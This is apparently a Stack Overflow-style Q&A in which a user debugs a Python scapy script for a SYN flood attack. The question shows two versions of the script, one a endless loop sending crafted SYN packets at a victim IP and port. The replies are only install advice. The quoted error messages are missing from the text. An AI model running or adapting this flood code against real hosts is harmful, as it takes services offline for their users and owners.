python error on synflood attack

Question

I am writing code for synflood attack but when I run the file via python I get errors.

SYNFlood.py file:

import sys
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

target_ip = sys.argv[1] # the ip of the victim machine
target_port = sys.argv[2] # the port of the victim machine
print ("ip "+target_ip+" port "+target_port)
send(IP(src="192.168.x.x", dst="target_ip")/TCP(sport=135,dport=target_port), count=2000)

But when I am running the file with:

python SYNFlood.py target_ip target_port

I get the following error:

I have tried to alter the code as the following:

while (1==1):
    p=IP(dst=target_ip,id=1111,ttl=99)/TCP(sport=RandShort(),dport=int(target_port) ,seq=12345,ack=1000,window=1000,flags="S")
    send(p, count=10)

But even if on cmd I get

when I run on target pc the command netstat -A I dont see syn_recv packets.

I have tried with

send(p, verbose=0, count=10)

but I dont have any output neither on dst pc nor src pc with respective commands.

Not sure how to help. The WARNING is always present and the module cannot be properly imported. In addition regarding the logging where have you defined the logger 'scapy.runtime'? — Marco smdm, Nov 29 '16 at 13:45
I have fixed the warning from [here](http://stackoverflow.com/questions/30579611/ipsec-py-cant-find-the-attribute-ipproto-esp-and-socket-ipproto-ah) — JORd, Nov 29 '16 at 14:04

score 0 · Answer 1 · answered Nov 30 '16 at 10:55

0

Try reinstalling scapy or scapy3k. This sounds like a build issue. Confirm you are using the correct scapy version.

answered Nov 30 '16 at 10:55

Deney Fletcher

116
4

I reinstall scapy but nothing changed – JORd Nov 30 '16 at 14:48

score 0 · Accepted Answer · answered Dec 04 '16 at 16:30

0

I figured out that I had to run the program on windows 32-bit version.

answered Dec 04 '16 at 16:30

JORd

109
1
10

python error on synflood attack

2 Answers2